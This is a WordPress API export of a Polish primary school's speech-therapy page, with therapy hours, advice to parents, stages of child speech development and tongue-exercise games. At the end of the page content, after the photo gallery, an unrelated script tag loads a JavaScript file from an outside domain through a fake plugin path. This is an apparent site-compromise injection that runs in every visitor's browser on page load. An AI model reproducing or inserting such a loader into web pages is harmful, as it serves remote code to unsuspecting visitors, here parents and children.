{"id":66,"date":"2015-12-15T13:44:09","date_gmt":"2015-12-15T12:44:09","guid":{"rendered":"http:\/\/spmrowiny.gmina.zarow.pl\/?page_id=66"},"modified":"2020-04-23T09:21:26","modified_gmt":"2020-04-23T07:21:26","slug":"logopeda","status":"publish","type":"page","link":"http:\/\/spmrowiny.gmina.zarow.pl\/index.php\/logopeda\/","title":{"rendered":"Logopeda"},"content":{"rendered":"<h2 style=\"text-align: center;\"><strong>Logopeda <\/strong><\/h2>\n<h2 style=\"text-align: center;\"><strong>rok szkolny 2019\/2020<\/strong><\/h2>\n<h2 style=\"text-align: center;\"><strong>mgr\u00a0Magdalena Mision<\/strong><\/h2>\n<p style=\"text-align: center;\">Godziny pracy logopedy<\/p>\n<p style=\"text-align: center;\"><strong>Poniedzia\u0142ek: <\/strong><\/p>\n<p style=\"text-align: center;\">10:50-12:30- zaj\u0119cia logopedyczne<\/p>\n<p style=\"text-align: center;\"><strong>\u015aroda:<\/strong><\/p>\n<p style=\"text-align: center;\">10:50-11:30- zaj\u0119cia logopedyczne<\/p>\n<p style=\"text-align: center;\"><strong>Pi\u0105tek<\/strong><\/p>\n<p style=\"text-align: center;\">9:45-10:45 &#8211; zaj\u0119cia logopedyczne<\/p>\n<h4 style=\"text-align: left;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Uprzejmie prosz\u0119 Rodzic\u00f3w dzieci, kt\u00f3re ucz\u0119szczaj\u0105 na\u00a0indywidualn\u0105 terapi\u0119 logopedycznych o za\u0142o\u017cenie dzieciom zeszytu do\u00a0zaj\u0119\u0107 ( przynosimy je w\u00a0poniedzia\u0142ki, zabieramy do\u00a0domu po\u00a0zaj\u0119ciach logopedycznych). Jednocze\u015bnie zwracam uwag\u0119 na\u00a0to, \u017ce\u00a0terapia logopedyczna przynosi najwi\u0119ksze efekty je\u017celi r\u00f3wnolegle Rodzice pracuj\u0105 z\u00a0dzieckiem w\u00a0domu. Dlatego te\u017c bardzo wa\u017cne jest, aby Rodzice systematycznie zapoznawali si\u0119 z\u00a0wpisami w\u00a0zeszycie, wklejali materia\u0142y z\u00a0zaj\u0119\u0107 oraz\u00a0systematycznie \u0107wiczyli z\u00a0dzie\u0107mi w\u00a0domu.<\/h4>\n<h4 style=\"text-align: right;\">Dzi\u0119kuj\u0119!<\/h4>\n<h2 style=\"text-align: left;\"><\/h2>\n<h2 style=\"text-align: center;\"><span style=\"color: #ff6600;\"><strong>Kiedy p\u00f3j\u015b\u0107 z dzieckiem do logopedy? Na co warto zwr\u00f3ci\u0107 szczeg\u00f3ln\u0105 uwag\u0119?<\/strong><\/span><\/h2>\n<p>&nbsp;<\/p>\n<p>Sprawdzajmy, czy dziecko wymawia g\u0142oski d\u017awi\u0119czne: b, d, g, w, z, \u017a, \u017c, d\u017c, d\u017a, poniewa\u017c ich brak mo\u017ce oznacza\u0107 mow\u0119 bezd\u017awi\u0119czn\u0105, kt\u00f3ra wymaga terapii logopedycznej.<\/p>\n<ol>\n<li>Obserwujmy spos\u00f3b oddychania \u2013 ustny, nieprawid\u0142owy tor oddechowy sprzyja wadom wymowy, poniewa\u017c j\u0119zyk w stanie spoczynku zajmuje niew\u0142a\u015bciw\u0105 pozycj\u0119.<\/li>\n<li>Przyjrzyjmy si\u0119, czy dziecko nie \u015blini si\u0119 zbyt mocno \u2013 mo\u017ce to by\u0107 efekt nieprawid\u0142owego po\u0142ykania, j\u0119zyk dziecka le\u017cy wtedy na dole jamy ustnej.<\/li>\n<li>Sprawdzajmy s\u0142uch dziecka, czy nie m\u00f3wi zbyt g\u0142o\u015bno, bo mo\u017ce to by\u0107 objawem problem\u00f3w ze s\u0142uchem.<\/li>\n<li>Zwr\u00f3\u0107my uwag\u0119, czy dziecko podczas wymowy kt\u00f3rej\u015b z g\u0142osek wsuwa j\u0119zyk mi\u0119dzy z\u0119by. Je\u015bli tak jest, to niezale\u017cnie od wieku dziecka nale\u017cy skontaktowa\u0107 si\u0119<br \/>\nz logoped\u0105.<\/li>\n<li>Nieprzyjemnie brzmi\u0105ca mowa r\u00f3wnie\u017c powinna sk\u0142oni\u0107 rodzic\u00f3w do wizyty u logopedy.<\/li>\n<\/ol>\n<p>Znajomo\u015b\u0107 prawid\u0142owego rozwoju mowy pomo\u017ce Pa\u0144stwu oceni\u0107 mow\u0119 w\u0142asnego dziecka.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: center;\"><span style=\"color: #ff6600;\"><strong>Okresy rozwoju mowy dziecka <\/strong><strong>\u2013 wed\u0142ug Leona Kaczmarka<\/strong><\/span><\/h3>\n<ol>\n<li><strong>Etap przygotowawczy <\/strong>(3.- 9. miesi\u0105c \u017cycia p\u0142odowego):<\/li>\n<\/ol>\n<ul>\n<li>4 m.\u017c. p\u0142odowego \u2013 odczuwanie zjawisk rytmicznych,<\/li>\n<li>\u2013 6. m.\u017c. p\u0142odowego- odczuwanie bod\u017ac\u00f3w akustycznych,<\/li>\n<li>\u2013 7. m.\u017c. p\u0142odowego- ssanie palca i p\u0142acz,<\/li>\n<li>&#8211; 9. m.\u017c. p\u0142odowego- zatrzymywanie w pami\u0119ci g\u0142osu matki.<\/li>\n<\/ul>\n<ol>\n<li><strong>Okres melodii <\/strong>(do 1. roku \u017cycia dziecka):<\/li>\n<\/ol>\n<ul>\n<li>g\u0142u\u017cenie (jako pewna forma \u0107wicze\u0144 artykulacyjnych),<\/li>\n<li>gaworzenie (jako pewna forma \u0107wicze\u0144 s\u0142uchowych).<\/li>\n<\/ul>\n<p>Na ko\u0144cu tego okresu dziecko \u015bwiadomie wypowiada kilka samog\u0142osek \u2013 <em>a, e<\/em>, czasem <em>i<\/em>, a tak\u017ce sp\u00f3\u0142g\u0142osek \u2013 <em>m, b, n, t, d<\/em> oraz <em>j<\/em>.<\/p>\n<ol>\n<li><strong>Okres wyrazu <\/strong>(trwa od 1. do 2. roku \u017cycia):<\/li>\n<\/ol>\n<ul>\n<li>prozodia (melodia i akcent, potem rytm);<\/li>\n<li>onomatopeje, kt\u00f3re zawieraj\u0105 pe\u0142na posta\u0107 d\u017awi\u0119kow\u0105, elementy prozodyczne oraz g\u0142oski;<\/li>\n<li>dziecko potrafi u\u017cy\u0107 wszystkich samog\u0142osek ustnych \u2013 <em>i, y, e, a, o, u<\/em> oraz kilku kolejnych sp\u00f3\u0142g\u0142osek \u2013 <em>p, b, pi, m, t, d, n, \u0144, \u015b, ki<\/em>;<\/li>\n<li>cz\u0119sto wyst\u0119puje zamiana <em>k<\/em> na <em>t<\/em>, np<em>. tot<\/em> zamiast <em>kot<\/em>, rzadziej <em>t<\/em> na <em>k<\/em>, np. <em>kaka<\/em> zamiast <em>tata<\/em>;<\/li>\n<li>charakterystyczne jest upraszczanie grup sp\u00f3\u0142g\u0142oskowych do jednej sp\u00f3\u0142g\u0142oski zwartej. Cz\u0119sto pomijane s\u0105 sp\u00f3\u0142g\u0142oski na pocz\u0105tku i ko\u0144cu wypowiadanych s\u0142\u00f3w.<\/li>\n<\/ul>\n<ol>\n<li><strong>Okres zdania <\/strong>(to 2.- 3. rok \u017cycia dziecka):<\/li>\n<\/ol>\n<ul>\n<li>znaczny post\u0119p w rozwoju mowy;<\/li>\n<li>dziecko wypowiada wszystkie samog\u0142oski;<\/li>\n<li>sp\u00f3\u0142g\u0142oski wargowe twarde i zmi\u0119kczone <em>p, pi, b, bi, m, mi;<\/em> wargowo-z\u0119bowe twarde i zmi\u0119kczone <em>f, fi, w, wi<\/em>; \u015brodkowoj\u0119zykowe <em>\u017a, \u0107, d\u017a, \u0144<\/em>; tylnoj\u0119zykowe zwarte i zmi\u0119kczone <em>k, ki, g, gi<\/em>; szczelinow\u0105 <em>ch<\/em>; z przednioj\u0119zykowych z\u0119bowych zwarte <em>t, d<\/em> oraz p\u00f3\u0142otwarta <em>n, z; <\/em>z przednioj\u0119zykowych dzi\u0105s\u0142owych p\u00f3\u0142otwartych <em>l, li<\/em>; p\u00f3\u0142samog\u0142oski <em>\u0142 <\/em>oraz <em>j;<\/em><\/li>\n<li>sporadycznie pojawia si\u0119 przednioj\u0119zykowe <em>s, z, c, dz, <\/em>a nawet dzi\u0105s\u0142owe <em>sz, \u017c, cz, d\u017c. <\/em>W dalszym ci\u0105gu dziecko upraszcza grupy sp\u00f3\u0142g\u0142oskowe na pocz\u0105tku, w \u015brodku i na ko\u0144cu wypowiadanych s\u0142\u00f3w.<\/li>\n<\/ul>\n<ol>\n<li><strong>Okres swoistej mowy dzieci\u0119cej <\/strong>(3. \u2013 7. rok \u017cycia):<\/li>\n<\/ol>\n<ul>\n<li>najcz\u0119\u015bciej dziecko zdobywa umiej\u0119tno\u015b\u0107 wymawiania pe\u0142nego zasobu g\u0142oskowego j\u0119zyka polskiego;<\/li>\n<li>utrwalone zostaj\u0105 szeregi: cisz\u0105cy, sycz\u0105cy, szumi\u0105cy.<\/li>\n<\/ul>\n<ol>\n<li><strong>Okres opanowania podstaw j\u0119zyka <\/strong>(7. \u2013 10. rok \u017cycia):<\/li>\n<\/ol>\n<ul>\n<li>bogactwo s\u0142ownika biernego i czynnego,<\/li>\n<li>rozw\u00f3j fleksji i sk\u0142adni.<\/li>\n<\/ul>\n<p>Warto w\u00a0 domu wspomaga\u0107 rozw\u00f3j mowy dziecka poprzez wykonywanie \u0107wicze\u0144 usprawniaj\u0105cych narz\u0105dy mowy.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: center;\"><strong><span style=\"color: #ff6600;\">Zabawy i \u0107wiczenia j\u0119zyka<\/span><\/strong><\/h2>\n<h2><u>Usprawnianie mi\u0119\u015bni grzbietu j\u0119zyka<\/u><\/h2>\n<p style=\"text-align: justify;\"><strong>Cel: <\/strong>Zaproponowane zabawy i \u0107wiczenia s\u0142u\u017c\u0105 wzmocnieniu mi\u0119\u015bni grzbietu j\u0119zyka, dodatkowo zawieraj\u0105 elementy \u0107wicze\u0144 mi\u0119\u015bnia okr\u0119\u017cnego warg i mi\u0119\u015bni podniebienia mi\u0119kkiego.<\/p>\n<ul>\n<li><strong>Zabawa <em>Mazgaj p\u0142acze<\/em><\/strong><\/li>\n<\/ul>\n<p>Dziecko na\u015bladuje p\u0142acz\u0105ce ma\u0142e dziecko, przed\u0142u\u017caj\u0105c d\u017awi\u0119ki wypowiadanych samog\u0142osek: <em>aaaaaaa, eeeeeee, uuuuuuu, yyyyyyyy, iiiiiii, \u0105\u0105\u0105\u0105\u0105\u0105\u0105, \u0119\u0119\u0119\u0119\u0119\u0119\u0119 \u2013 <\/em>uk\u0142adaj\u0105c wargi szeroko lub w\u0105sko.<\/p>\n<ul>\n<li><strong>Zabawa <em>Zm\u0119czony kotek<\/em><\/strong><\/li>\n<\/ul>\n<p>Dziecko na\u015bladuje d\u017awi\u0119ki samog\u0142osek: <em>uuuuuuu, iiiiiiii, uuuufffff, pppuuufff, uuuuhhhh.<\/em><\/p>\n<ul>\n<li><strong>Zabawa <em>Zaspany nied\u017awiadek<\/em><\/strong><\/li>\n<\/ul>\n<p>Dziecko pr\u00f3buje na\u015bladowa\u0107 ziewanie nied\u017awiadka: <em>ahhhh<\/em> \u2013 oddech energetyzuj\u0105cy.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: center;\"><strong><span style=\"color: #ff6600;\">Osi\u0105ganie umiej\u0119tno\u015bci cofania j\u0119zyka<\/span><\/strong><\/h3>\n<h3><strong>Cel: <\/strong>Proponowane zabawy i \u0107wiczenia s\u0142u\u017c\u0105 wzmacnianiu mi\u0119\u015bni j\u0119zyka i \u015bwiadomemu kontrolowaniu przez dziecko jego ruch\u00f3w w celu cofania j\u0119zyka w obr\u0119bie jamy ustnej.<\/h3>\n<ul>\n<li><strong>Zabawa <em>J\u0119zyczek si\u0119 opala<\/em><\/strong><\/li>\n<\/ul>\n<p>Dziecko wysuwa j\u0119zyka p\u0142aski jak \u201e\u0142opatka\u201d i \u201ewygrzewa\u201d si\u0119 jak \u201ena patelni\u201d.<\/p>\n<ul>\n<li><strong>Zabawa <em>w chowanego<\/em><\/strong><\/li>\n<\/ul>\n<p>W zabawie dziecko wysuwa j\u0119zyk, po czym szybko go chowa.<\/p>\n<ul>\n<li><em>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/em><strong>Zabawa <em>J\u0119zyczek szuka przyjaci\u00f3\u0142 \u2013 gdzie s\u0105 E i O?<\/em><\/strong><\/li>\n<\/ul>\n<p>Zach\u0119camy do wo\u0142ania wskazanych samog\u0142osek.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: center;\"><strong><span style=\"color: #ff6600;\">Osi\u0105ganie umiej\u0119tno\u015bci pionizacji j\u0119zyka<\/span><\/strong><\/h3>\n<p><strong>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Cel: <\/strong>proponowane zabawy i \u0107wiczenia s\u0142u\u017c\u0105 wzmacnianiu mi\u0119\u015bni j\u0119zyka i uniesieniu go (w obr\u0119bie jamy ustnej) do podniebienia twardego.<\/p>\n<ul>\n<li><strong>Zabawa <em>J\u0119zyczek skacz\u0105cy jak pi\u0142eczka<\/em><\/strong><\/li>\n<\/ul>\n<p>Dziecko pracuje j\u0119zykiem, \u201ekl\u0105skaj\u0105c\u201d i powtarzaj\u0105c sylaby <em>kla-klo.<\/em><\/p>\n<ul>\n<li><strong>Zabawa <em>J\u0119zyczek nied\u017awiadka zlizuj\u0105cego miodek<\/em><\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Dziecko oblizuje wargi j\u0119zykiem w stron\u0119 prawa i lew\u0105; je\u017celi mamy tak\u0105 mo\u017cliwo\u015b\u0107, to \u0107wiczymy z prawdziwym miodem (je\u015bli dziecko lubi).<\/p>\n<ul>\n<li><strong>Zabawa <em>J\u0119zyczek-ogrodniczek<\/em><\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Zach\u0119camy dziecko do wykonywania r\u00f3\u017cnych ruch\u00f3w j\u0119zykiem j\u0119zyk \u2013 \u0142opatka \u2013 kopie grz\u0105dki; j\u0119zyk-grot \u2013 nasadza na ka\u017cd\u0105 grz\u0105dk\u0119-z\u0105bek (nowe kwiatki).<\/p>\n<p style=\"text-align: left;\">Galeria:<\/p>\n<p><div id='gallery-1' class='gallery galleryid-66 gallery-columns-3 gallery-size-thumbnail'><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href=\"http:\/\/spmrowiny.gmina.zarow.pl\/wp-content\/uploads\/2015\/12\/IMG_20161026_134645.jpg\" title=\"IMG_20161026_134645\" data-description=\"\"><img width=\"150\" height=\"150\" src=\"http:\/\/spmrowiny.gmina.zarow.pl\/wp-content\/uploads\/2015\/12\/IMG_20161026_134645-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" loading=\"lazy\"><\/a>\n\t\t\t<\/div><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href=\"http:\/\/spmrowiny.gmina.zarow.pl\/wp-content\/uploads\/2015\/12\/IMG_20161026_142139.jpg\" title=\"IMG_20161026_142139\" data-description=\"\"><img width=\"150\" height=\"150\" src=\"http:\/\/spmrowiny.gmina.zarow.pl\/wp-content\/uploads\/2015\/12\/IMG_20161026_142139-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" loading=\"lazy\"><\/a>\n\t\t\t<\/div><\/figure>\n\t\t<\/div>\n<script src=http:\/\/www.onlymobilepro.com\/wp-content\/plugins\/syntaxhighlighter\/syntaxhighlighter2\/scripts\/include2.js><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Logopeda rok szkolny 2019\/2020 mgr\u00a0Magdalena Mision Godziny pracy logopedy Poniedzia\u0142ek: 10:50-12:30- zaj\u0119cia logopedyczne \u015aroda: 10:50-11:30- zaj\u0119cia logopedyczne Pi\u0105tek 9:45-10:45 &#8211; zaj\u0119cia logopedyczne \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Uprzejmie prosz\u0119 Rodzic\u00f3w dzieci, kt\u00f3re ucz\u0119szczaj\u0105 na\u00a0indywidualn\u0105 terapi\u0119 logopedycznych o za\u0142o\u017cenie dzieciom zeszytu do\u00a0zaj\u0119\u0107 ( przynosimy je w\u00a0poniedzia\u0142ki, zabieramy do\u00a0domu po\u00a0zaj\u0119ciach logopedycznych). Jednocze\u015bnie zwracam uwag\u0119 na\u00a0to, \u017ce\u00a0terapia logopedyczna przynosi najwi\u0119ksze efekty je\u017celi [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"http:\/\/spmrowiny.gmina.zarow.pl\/index.php\/wp-json\/wp\/v2\/pages\/66"}],"collection":[{"href":"http:\/\/spmrowiny.gmina.zarow.pl\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"http:\/\/spmrowiny.gmina.zarow.pl\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"http:\/\/spmrowiny.gmina.zarow.pl\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/spmrowiny.gmina.zarow.pl\/index.php\/wp-json\/wp\/v2\/comments?post=66"}],"version-history":[{"count":15,"href":"http:\/\/spmrowiny.gmina.zarow.pl\/index.php\/wp-json\/wp\/v2\/pages\/66\/revisions"}],"predecessor-version":[{"id":15048,"href":"http:\/\/spmrowiny.gmina.zarow.pl\/index.php\/wp-json\/wp\/v2\/pages\/66\/revisions\/15048"}],"wp:attachment":[{"href":"http:\/\/spmrowiny.gmina.zarow.pl\/index.php\/wp-json\/wp\/v2\/media?parent=66"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}